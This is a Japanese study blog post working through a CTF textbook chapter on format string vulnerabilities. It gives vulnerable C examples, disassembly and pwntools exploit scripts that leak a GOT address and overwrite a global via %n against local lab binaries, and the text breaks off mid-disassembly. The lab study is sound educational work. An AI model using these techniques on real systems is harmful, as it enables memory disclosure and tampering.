前回 は、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読み進めました。
前回は、32章の「共有ライブラリと関数呼び出し」でした。34章の「ヒープベースエクスプロイト」は、次回に回して、今回は、35章の「仕様に起因する脆弱性」を読んでいきたいと思います。
35章の「仕様に起因する脆弱性」では、書式文字列攻撃を取り扱っています。picoCTF 2025 の Binary Exploitation で、書式文字列攻撃の問題が出たのですが、エクスプロイトコードをうまく実装できなかったので、こちらを先に読んでいきたいと思います。
それでは、やっていきます。
参考文献
今回、題材にさせて頂いた「詳解セキュリティコンテスト」です。
はじめに
「セキュリティ」の記事一覧です。良かったら参考にしてください。
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ
・第50回:書籍「詳解セキュリティコンテスト」Pwnableの共有ライブラリと関数呼び出しを読んだ
・第51回:picoCTF 2025:General Skillsの全5問をやってみた
・第52回:picoCTF 2025:Reverse Engineeringの全7問をやってみた
・第53回:picoCTF 2025:Binary Exploitationの全6問をやってみた
・第54回:書籍「詳解セキュリティコンテスト」Pwnableの仕様に起因する脆弱性を読んだ ← 今回
以下は「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」のサポートサイトです。問題ファイルをダウンロードすることが出来ます。
では、書籍の章を参考に書き進めていきます。
35章:仕様に起因する脆弱性
35章の仕様に起因する脆弱性は、約20ページの分量です。
35.1:書式文字列
35.1.1:書式文字列の利用
書式文字列とは、printf("Hello %s! (%d)\n", "hoge", 123); の第1引数に与えた文字列のことです。%s や、%d のような % で始まる部分は、変換指定と呼ばれます。
ここでは、様々な変換指定について、基本的な内容が解説されています。
要点としては、printf関数などで、%m$(m は 10進数の整数)と指定すると、引数の位置を指定することが出来ます。
また、最小フィールド幅(%4d など)は、* 記号を使うことで引数から与えることが出来ます。さらに、最小フィールド幅の引数の位置を %*m$ を使うことで指定することが出来ます。
精度の指定について、小数の場合、小数点以下の桁数を指定可能です。文字列で精度を指定した場合、ヌル文字で終端しなくていいそうです。
これらを試すソースコードです。
#include <stdio.h> int main( int argc, char *argv[] ) { // 引数の位置を %m$ で指定可能 printf( "[%4$d] [%2$d] %d [%3$d] %d [%3$d] [%1$d]\n\n", 1, 2, 3, 4 ); // * により、引数で、最小フィールド幅を指定可能 printf( "%0*x\n\n", 16, 0xdeadbeef ); // *m$ で、最小フィールド幅の引数の位置を指定可能 printf( "%0*2$x\n\n", 0xbeef, 8 ); // 小数の精度として、小数点以下の桁数を指定可能 printf( "%.4f\n\n", 3.141592 ); // 文字列の精度指定の場合、ヌル文字で終端しなくていい printf( "%.8s\n\n", "aaaabbbbccccdddd" ); // 最小フィールド幅の引数の位置指定と精度の引数の位置指定 printf( "%*3$.*2$s\n\n", "xxxxyyyyzzzz", 8, 16 ); }
コンパイルして、実行します。
$ gcc -o example_35_11_and_35_13.out example_35_11_and_35_13.c $ ./example_35_11_and_35_13.out [4] [2] 1 [3] 2 [3] [1] 00000000deadbeef 0000beef 3.1416 aaaabbbb xxxxyyyy
35.1.2:書式文字列攻撃(メモリの読み出し)
以下の記事で書式文字列攻撃については一通りやりましたので、基本的な内容は割愛します。
簡単に言うと、printf関数などで、%m$ で、引数の位置を指定できますが、実際にその引数が指定されてなかった場合、レジスタやスタックの値が出力されます。これを使って、ある程度の任意のアドレスのメモリの内容を出力できます。
daisuke20240310.hatenablog.com
この章の例題のソースコードで、知らなかった内容があったので、メモしておきます。以下のソースコードです。scanf("%ms", &buf); は、動的メモリ確保付きの scanf関数だそうです。入力された文字列のサイズに応じて、malloc関数でメモリを確保し、そのポインタが buf に格納されるそうです。
#include <stdio.h> int main(void){ char *buf; char *secret = "SECRET_KEY"; setbuf(stdout, NULL); scanf("%ms", &buf); printf(buf); }
次は、以下のソースコードの例題をやってみます。スタック上の任意の内容を読み出すことが出来る脆弱性があります。書式文字列攻撃で、メモリの内容を読み出します。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(void){ char buf[0x50] = {}; unsigned long lv = 0xdeadbeef; setbuf(stdout, NULL); read(STDIN_FILENO, buf, sizeof(buf)); printf(buf); printf("\nBye!"); }
プログラムバイナリが提供されていますので、表層解析を行っておきます。
$ file fsb_aarw fsb_aarw: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=72a41d60b183fa67de746ce6306e4df67e5a936b, for GNU/Linux 3.2.0, with debug_info, not stripped $ ~/bin/checksec --file=fsb_aarw RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 0 2 fsb_aarw $ pwn checksec --file=fsb_aarw [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes
先に、アセンブラを確認します。入力した文字列は buf に格納されます。
pwndbg> disassemble Dump of assembler code for function main: 0x0000000000401196 <+0>: endbr64 0x000000000040119a <+4>: push rbp 0x000000000040119b <+5>: mov rbp,rsp 0x000000000040119e <+8>: sub rsp,0x70 => 0x00000000004011a2 <+12>: mov rax,QWORD PTR fs:0x28 0x00000000004011ab <+21>: mov QWORD PTR [rbp-0x8],rax 0x00000000004011af <+25>: xor eax,eax 0x00000000004011b1 <+27>: mov QWORD PTR [rbp-0x60],0x0 0x00000000004011b9 <+35>: mov QWORD PTR [rbp-0x58],0x0 0x00000000004011c1 <+43>: mov QWORD PTR [rbp-0x50],0x0 0x00000000004011c9 <+51>: mov QWORD PTR [rbp-0x48],0x0 0x00000000004011d1 <+59>: mov QWORD PTR [rbp-0x40],0x0 0x00000000004011d9 <+67>: mov QWORD PTR [rbp-0x38],0x0 0x00000000004011e1 <+75>: mov QWORD PTR [rbp-0x30],0x0 0x00000000004011e9 <+83>: mov QWORD PTR [rbp-0x28],0x0 0x00000000004011f1 <+91>: mov QWORD PTR [rbp-0x20],0x0 0x00000000004011f9 <+99>: mov QWORD PTR [rbp-0x18],0x0 0x0000000000401201 <+107>: mov eax,0xdeadbeef 0x0000000000401206 <+112>: mov QWORD PTR [rbp-0x68],rax 0x000000000040120a <+116>: mov rax,QWORD PTR [rip+0x2e37] # 0x404048 <stdout@@GLIBC_2.2.5> 0x0000000000401211 <+123>: mov esi,0x0 0x0000000000401216 <+128>: mov rdi,rax 0x0000000000401219 <+131>: call 0x401080 <setbuf@plt> 0x000000000040121e <+136>: lea rax,[rbp-0x60] 0x0000000000401222 <+140>: mov edx,0x50 0x0000000000401227 <+145>: mov rsi,rax 0x000000000040122a <+148>: mov edi,0x0 0x000000000040122f <+153>: call 0x4010a0 <read@plt> 0x0000000000401234 <+158>: lea rax,[rbp-0x60] 0x0000000000401238 <+162>: mov rdi,rax 0x000000000040123b <+165>: mov eax,0x0 0x0000000000401240 <+170>: call 0x401090 <printf@plt> 0x0000000000401245 <+175>: lea rdi,[rip+0xdb8] # 0x402004 0x000000000040124c <+182>: mov eax,0x0 0x0000000000401251 <+187>: call 0x401090 <printf@plt> 0x0000000000401256 <+192>: mov eax,0x0 0x000000000040125b <+197>: mov rcx,QWORD PTR [rbp-0x8] 0x000000000040125f <+201>: xor rcx,QWORD PTR fs:0x28 0x0000000000401268 <+210>: je 0x40126f <main+217> 0x000000000040126a <+212>: call 0x401070 <__stack_chk_fail@plt> 0x000000000040126f <+217>: leave 0x0000000000401270 <+218>: ret End of assembler dump.
スタックの可視化を行っておきます。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x70 | 8 | 空き(rsp) |
| rbp - 0x68 | 8 | lv(0xdeadbeef) |
| rbp - 0x60 | 80 | buf |
| rbp - 0x10 | 8 | 空き |
| rbp - 0x08 | 8 | canary |
| rbp |
以前、書式文字列攻撃をやったときは、エクスプロイトコードを書かずに、コマンドラインからプログラムに引数を与えていました。今回は、エクスプロイトコードを書いてやってみます。実装したソースコードです(いろいろデバッグ用のコードが入っています)。
#!/usr/bin/env python3 from pwn import * bin_file = './fsb_aarw' context( os = 'linux', arch = 'amd64' ) # context.log_level = 'debug' binf = ELF( bin_file ) addr_main_offset = binf.functions['main'].address addr_got_setbuf = binf.got['setbuf'] addr_bss = binf.bss() info( f"addr_main_offset=0x{addr_main_offset:08X}, addr_got_setbuf=0x{addr_got_setbuf:08X}" ) # hex(addr_got_setbuf)の方がいいかも def attack( proc, **kwargs ): if False: # AAAAAAAA が出現する位置を確認する proc.sendline( b'AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' ) info( proc.recv().decode() ) exit() elif False: # 位置が正しいことを確認するため、アドレスを出力する proc.sendline( b'%9$p'.ljust(8, b' ') + p64(0x404020) ) info( proc.recv().decode() ) exit() else: # GOT (0x404020) の値を出力する proc.sendline( b'%9$s'.ljust(8, b' ') + p64(0x404020) ) if False: ret = proc.recvregex( b'([0-9a-f]+)', capture=True ) info( f"0x{int(ret.group(0).decode(), 16)}" ) info( f"0x{int(ret.group(1).decode(), 16)}" ) #info( f"0x{u64(ret.group(0))}" ) elif False: info( f"0x{int(proc.recv().strip(), 16)}" ) elif True: tmp = u64( proc.recv(6) + b'\x00\x00' ) info( hex(tmp) ) #info( proc.recv().decode() ) # エラーが出るため、decode() を削除 def main(): adrs = "shape-facility.picoctf.net" #adrs = "localhost" port = 51556 #port = 4000 #proc = gdb.debug( bin_file ) proc = process( bin_file ) #proc = remote( adrs, port ) attack( proc ) #proc.interactive() if __name__ == '__main__': main()
今回の C言語のソースコードでは、setbuf関数が使われています。この setbuf関数の GOT の中のアドレスを読み出すことを目的にします。setbuf関数は libc に含まれます。libc が配置されるアドレスは、ASLR によってランダムになります。
では、まずは、%p をたくさん与えてみます。b'AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' を与えます。以下が実行結果です。
第1引数は、この書式文字列で、第2引数から第6引数まではレジスタが使われ、第7引数以降はスタックが使われます。(nil) と 0xdeadbeef の 2つの後に、AAAAAAAA が出現しました。これは第9引数です。つまり、AAAAAAAA の代わりに、読み出したいアドレスを与えて、%8$s と指定すれば、読み出したいアドレスに格納された値が読み出せるということになります。第9引数なのに、%8$s と指定するのは、%m$ の m は、書式文字列の次の引数からの位置を指定する値だからです(最初の %p は m に 1 と設定するということ)。
$ python exploit_fsb_aarw.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] addr_main_offset=0x00401196, addr_got_setbuf=0x00404020 [+] Starting local process './fsb_aarw': pid 319915 [*] AAAAAAAA,0x7ffe611a4890,0x50,0x7f36d829819d,0x4012f0,0x7f36d83a0680,(nil),0xdeadbeef,0x4141414141414141,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c Bye! [*] Process './fsb_aarw' stopped with exit code 0 (pid 319915)
次は、正しい位置を指定できているかを確認するために、分かっている値を出力させます。具体的には、b'%9$p'.ljust(8, b' ') + p64(0x404020) を送り、&buf[8] の位置に、b'\x20\x40\x40\x00\x00\x00\x00\x00\x を置きます。
p64(0x404020) を後ろに置いている理由は、8byte のアドレスなので、0 を含むため、これを printf関数がヌル文字と認識して、書式文字列がそこで終わっている(終端)と思わないようにするためです。
%8$s ではなく、%9$p としている理由は、p64(0x404020) を後ろに置いたため、読み出したい位置が次の 8byte になるためです。.ljust(8, b' ') は、8byte にするためのパディングです。書籍では、.ljust(8, b'\x00') としていましたが、この 0 も終端と認識されないのかな?と思い、半角スペースにしています。
では、動かしてみます。想定した通り、0x404020 が出力されています。位置を正しく指定できているようです。
$ python exploit_fsb_aarw.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] addr_main_offset=0x00401196, addr_got_setbuf=0x00404020 [+] Starting local process './fsb_aarw': pid 397738 [*] Process './fsb_aarw' stopped with exit code 0 (pid 397738) [*] 0x404020 @@ Bye!
では、最後に、0x404020 の値を出力します。今回は、0x7f06ba1372c0 という結果になりました。上でも言いましたが、libc に含まれる setbuf関数のアドレスは、ASLR によって、ランダムに配置されるため、今回出力されたアドレスは毎回変化します。
$ python exploit_fsb_aarw.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_aarw' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] addr_main_offset=0x00401196, addr_got_setbuf=0x00404020 [+] Starting local process './fsb_aarw': pid 1998 [*] Process './fsb_aarw' stopped with exit code 0 (pid 1998) [*] 0x7f06ba1372c0
35.1.2:書式文字列攻撃(メモリの書き込み)
次は、任意のアドレスのメモリの内容を書き換えることが出来る書式文字列攻撃です。printf関数などで、%m$n(m は 10進数の整数)と指定すると、mで指定した引数の位置に、それまでに出力した文字数の値を設定する(書き込みする)ことが出来ます。
書式文字列攻撃による、ある程度の任意の位置のメモリの書き換えについても、以下の記事でやりましたので、基本的な内容については割愛します。
daisuke20240310.hatenablog.com
35.1.2:書式文字列攻撃(発展:スタック上の値を利用した書き込み)
「発展:スタック上の値を利用した書き込み」をやります。
発展編だけあって、なかなか難しい内容です。
まず、ソースコードの内容です。グローバル変数の key と、ローカル変数の secret があります。それぞれに、/dev/urandom からランダムな値を設定します。read関数でユーザ入力を受け付けて、printf(buf); で、書式文字列攻撃が可能です。最終的に、key と secret を一致させて、"Correct!" という出力を得られたら成功です。
#include <stdio.h> #include <unistd.h> #include <fcntl.h> unsigned long key; int main(void){ char buf[0x30] = {}; unsigned long secret = 0; int fd; if((fd = open("/dev/urandom", O_RDONLY)) < 0) return -1; read(fd, &secret, 3); read(fd, &key, 3); close(fd); read(STDIN_FILENO, buf, sizeof(buf)); printf(buf); printf("\nsecret = %#08lx\nkey = %#08lx\n", secret, key); puts(key^secret ? "Wrong key..." : "Correct!"); }
普通に考えたら、key と secret には別のランダムな値が設定されるので、一致することはありません。書式文字列攻撃を使うので、やりやすさを考えると、スタックの方の secret の値を読み出して、その値を、グローバル変数の key に書き込むことになりそうです。書式文字列攻撃を実行できる機会が 2回あれば、これまでの延長上なのでやれそうですが、書式文字列攻撃のチャンスは 1回だけです。
%*m$ を使うと、最小フィールド幅を引数で指定することが出来ます。secret の引数の位置を特定して、その引数を最小フィールド幅の指定に使えば良さそうです。つまり、secret の値の分だけのフィールド幅が設定されるので、その出力した文字数を使って、書式文字列攻撃で key に書き込めば出来そうです。
書籍では、コマンドラインで書式文字列を指定していますが、練習のためにも、Pythonコードで実装したいと思います。
プログラムバイナリ(fsb_random)が提供されているので、まずは、表層解析をやっていきます。
$ file fsb_random fsb_random: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=246d7d3bd9123ec1587eeb31f5380793939e833d, for GNU/Linux 3.2.0, with debug_info, not stripped $ ~/bin/checksec --file=fsb_random RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 74 Symbols No 0 2 fsb_random $ pwn checksec --file=fsb_random [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_random' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes
アセンブラを確認します。
pwndbg> disassemble Dump of assembler code for function main: 0x00000000004011d6 <+0>: endbr64 0x00000000004011da <+4>: push rbp 0x00000000004011db <+5>: mov rbp,rsp 0x00000000004011de <+8>: sub rsp,0x50 => 0x00000000004011e2 <+12>: mov rax,QWORD PTR fs:0x28 0x00000000004011eb <+21>: mov QWORD PTR [rbp-0x8],rax 0x00000000004011ef <+25>: xor eax,eax 0x00000000004011f1 <+27>: mov QWORD PTR [rbp-0x40],0x0 0x00000000004011f9 <+35>: mov QWORD PTR [rbp-0x38],0x0 0x0000000000401201 <+43>: mov QWORD PTR [rbp-0x30],0x0 0x0000000000401209 <+51>: mov QWORD PTR [rbp-0x28],0x0 0x0000000000401211 <+59>: mov QWORD PTR [rbp-0x20],0x0 0x0000000000401219 <+67>: mov QWORD PTR [rbp-0x18],0x0 0x0000000000401221 <+75>: mov QWORD PTR [rbp-0x48],0x0 0x0000000000401229 <+83>: mov esi,0x0 0x000000000040122e <+88>: lea rdi,[rip+0xdd3] # 0x402008 0x0000000000401235 <+95>: mov eax,0x0 0x000000000040123a <+100>: call 0x4010e0 <open@plt> 0x000000000040123f <+105>: mov DWORD PTR [rbp-0x4c],eax 0x0000000000401242 <+108>: cmp DWORD PTR [rbp-0x4c],0x0 0x0000000000401246 <+112>: jns 0x401252 <main+124> 0x0000000000401248 <+114>: mov eax,0xffffffff 0x000000000040124d <+119>: jmp 0x4012fb <main+293> 0x0000000000401252 <+124>: lea rcx,[rbp-0x48] 0x0000000000401256 <+128>: mov eax,DWORD PTR [rbp-0x4c] 0x0000000000401259 <+131>: mov edx,0x3 0x000000000040125e <+136>: mov rsi,rcx 0x0000000000401261 <+139>: mov edi,eax 0x0000000000401263 <+141>: call 0x4010d0 <read@plt> 0x0000000000401268 <+146>: mov eax,DWORD PTR [rbp-0x4c] 0x000000000040126b <+149>: mov edx,0x3 0x0000000000401270 <+154>: lea rsi,[rip+0x2de9] # 0x404060 <key> 0x0000000000401277 <+161>: mov edi,eax 0x0000000000401279 <+163>: call 0x4010d0 <read@plt> 0x000000000040127e <+168>: mov eax,DWORD PTR [rbp-0x4c] 0x0000000000401281 <+171>: mov edi,eax 0x0000000000401283 <+173>: call 0x4010c0 <close@plt> 0x0000000000401288 <+178>: lea rax,[rbp-0x40] 0x000000000040128c <+182>: mov edx,0x30 0x0000000000401291 <+187>: mov rsi,rax 0x0000000000401294 <+190>: mov edi,0x0 0x0000000000401299 <+195>: call 0x4010d0 <read@plt> 0x000000000040129e <+200>: lea rax,[rbp-0x40] 0x00000000004012a2 <+204>: mov rdi,rax 0x00000000004012a5 <+207>: mov eax,0x0 0x00000000004012aa <+212>: call 0x4010b0 <printf@plt> 0x00000000004012af <+217>: mov rdx,QWORD PTR [rip+0x2daa] # 0x404060 <key> 0x00000000004012b6 <+224>: mov rax,QWORD PTR [rbp-0x48] 0x00000000004012ba <+228>: mov rsi,rax 0x00000000004012bd <+231>: lea rdi,[rip+0xd54] # 0x402018 0x00000000004012c4 <+238>: mov eax,0x0 0x00000000004012c9 <+243>: call 0x4010b0 <printf@plt> 0x00000000004012ce <+248>: mov rdx,QWORD PTR [rip+0x2d8b] # 0x404060 <key> 0x00000000004012d5 <+255>: mov rax,QWORD PTR [rbp-0x48] 0x00000000004012d9 <+259>: cmp rdx,rax 0x00000000004012dc <+262>: je 0x4012e7 <main+273> 0x00000000004012de <+264>: lea rax,[rip+0xd55] # 0x40203a 0x00000000004012e5 <+271>: jmp 0x4012ee <main+280> 0x00000000004012e7 <+273>: lea rax,[rip+0xd59] # 0x402047 0x00000000004012ee <+280>: mov rdi,rax 0x00000000004012f1 <+283>: call 0x401090 <puts@plt> 0x00000000004012f6 <+288>: mov eax,0x0 0x00000000004012fb <+293>: mov rcx,QWORD PTR [rbp-0x8] 0x00000000004012ff <+297>: xor rcx,QWORD PTR fs:0x28 0x0000000000401308 <+306>: je 0x40130f <main+313> 0x000000000040130a <+308>: call 0x4010a0 <__stack_chk_fail@plt> 0x000000000040130f <+313>: leave 0x0000000000401310 <+314>: ret End of assembler dump.
スタックを可視化します。
| アドレス | サイズ | 内容 |
|---|---|---|
| rbp - 0x50 | 4 | 空き(rsp) |
| rbp - 0x4c | 4 | fd |
| rbp - 0x48 | 8 | secret |
| rbp - 0x40 | 48 | buf |
| rbp - 0x10 | 8 | 空き |
| rbp - 0x08 | 8 | canary |
| rbp |
まずは、secret の引数の位置として、%*m$ の m の値を考えます。引数は、まず 6個のレジスタが使われます。先頭は書式文字列なので、printf関数の変換指定としては、レジスタで 5個が使われます。次は、rsp から 8byteずつが使われていくので、変換指定の secret の位置は、7番目となります(%*7$c)。
次は、書き込みの方です。%m$n の m の値を考えます。ユーザ入力は、buf に格納されます。書式文字列の最初は、%*7$c%m$n となります。(m が 1文字なら)9文字なので、buf の先頭から 16byte のオフセットの位置に、key のアドレスを配置します。つまり、m は、10 となりそうです(%10$n)。
これを踏まえて、作成した Pythonコードです。
#!/usr/bin/env python3 from pwn import * bin_file = './fsb_random' context(os = 'linux', arch = 'amd64') binf = ELF( bin_file ) def attack( proc, **kwargs ): proc.sendline( b'%*7$c%10$n'.ljust(0x10, b' ') + p64(binf.symbols['key']) ) info( proc.recvall() ) def main(): adrs = "shape-facility.picoctf.net" port = 51556 #adrs = "localhost" #port = 4000 #proc = gdb.debug( bin_file ) proc = process( bin_file ) #proc = remote( adrs, port ) attack( proc ) #proc.interactive() if __name__ == '__main__': main()
では、実行してみます。成功です!
$ python exploit_fsb_random.py [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_random' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [+] Starting local process './fsb_random': pid 395585 [+] Receiving all data: Done (550.72KB) [*] Process './fsb_random' stopped with exit code 0 (pid 395585) /home/user/20240819/lib/python3.11/site-packages/pwnlib/log.py:396: BytesWarning: Bytes is not text; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes self._log(logging.INFO, message, args, kwargs, 'info') [*] (途中省略) secret = 0x089aa9 key = 0x089aa9 Correct!
35.1.2:書式文字列攻撃(発展:二段階書き込み)
ソースコードです。
分かりにくいですね。下で実行してみてますが、やりたいことは、B の 0xcafeba00 を 0xcafebabe に書き換えて、A と B の両方が OK と出るようにしたいということです。
そのために、書式文字列攻撃を使います。書式文字列攻撃のメモリの書き換えは、書き換える領域のアドレスが、スタック上に格納されているとやりやすいです。現状は A のアドレスはローカル変数 p1 として定義されています。また、p1 を指すポインタの p2 も定義されています。
p1 が B を指してくれると書き換えが出来そうです。そのためには、最初に、p2 を使って、p1 が B を指すように書き換えます。次に、p1 を使って、0xcafeba00 を 0xcafebabe に書き換えます。これが出来れば良さそうです。
また、scanf("%ms", &buf); は、上でも出てきましたが、動的メモリ確保付きの scanf関数です。
#include <stdio.h> unsigned long A = 0xdeadbeef; unsigned long B = 0xcafeba00; int main(void){ char *buf; void *p1 = &A, *p2 = &p1; scanf("%ms", &buf); printf(buf); printf("\nA = %#08lx (%s)\nB = %#08lx (%s)\n", A, A^0xdeadbeef ? "NG" : "OK", B, B^0xcafebabe ? "NG" : "OK"); return 0; }
実行してみます。
$ ./fsb_twice aaa aaa A = 0xdeadbeef (OK) B = 0xcafeba00 (NG)
プログラムバイナリ(fsb_twice)が提供されています。まずは、表層解析です。PIE ではないです。
$ file ./fsb_twice ./fsb_twice: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f820125bd8302e5c1a5215be062d2b92a5074c8b, for GNU/Linux 3.2.0, with debug_info, not stripped $ ~/bin/checksec --file=fsb_twice RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 0 1 fsb_twice $ pwn checksec --file=fsb_twice [*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/06_vulnfunc/fsb_twice' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes
アセンブラを確認します。
pwndbg> disassemble Dump of assembler code for function main: 0x0000000000401176 <+0>: endbr64 0x000000000040117a <+4>: push rbp 0x000000000040117b <+5>: mov rbp,rsp 0x000000000040117e <+8>: sub rsp,0x20 => 0x0000000000401182 <+12>: mov rax,QWORD PTR fs:0x28 0x000000000040118b <+21>: mov QWORD PTR [rbp-0x8],rax 0x000000000040118f <+25>: xor eax,eax 0x0000000000401191 <+27>: lea rax,[rip+0x2ea8] # 0x404040 <A> 0x0000000000401198 <+34>: mov QWORD PTR [rbp-0x18],rax 0x000000000040119c <+38>: lea rax,[rbp-0x18] 0x00000000004011a0 <+42>: mov QWORD PTR [rbp-0x10],rax 0x00000000004011a4 <+46>: lea rax,[rbp-0x20] 0x00000000004011a8 <+50>: mov rsi,rax 0x00000000004011ab <+53>: lea rdi,[rip+0xe56] # 0x402008 0x00000000004011b2 <+60>: mov eax,0x0 0x00000000004011b7 <+65>: call 0x401080 <__isoc99_scanf@plt> 0x00000000004011bc <+70>: mov rax,QWORD PTR [rbp-0x20] 0x00000000004011c0 <+74>: mov rdi,rax 0x00000000004011c3 <+77>: mov eax,0x0 0x00000000004011c8 <+82>: call 0x401070 <printf@plt> 0x00000000004011cd <+87>: mov rax,QWORD PTR [rip+0x2e74] # 0x404048 <B> 0x00000000004011d4 <+94>: mov edx,0xcafebabe 0x00000000004011d9 <+99>: cmp rax,rdx 0x00000000004011dc <+102>: je 0x4011e7 <main+113> 0x00000000004011de <+104>: lea rdx,[rip+0xe27] # 0x40200c 0x00000000004011e5 <+111>: jmp 0x4011ee <main+120> 0x00000000004011e7 <+113>: lea rdx,[rip+0xe21] # 0x40200f 0x00000000004011ee <+120>: mov rcx,QWORD PTR [rip+0x2e53] # 0x404048 <B> 0x00000000004011f5 <+127>: mov rax,QWORD PTR [rip+0x2e44] # 0x404040 <A> 0x00000000004011fc <+134>: mov esi,0xdeadbeef 0x0000000000401201 <+139>: cmp rax,rsi 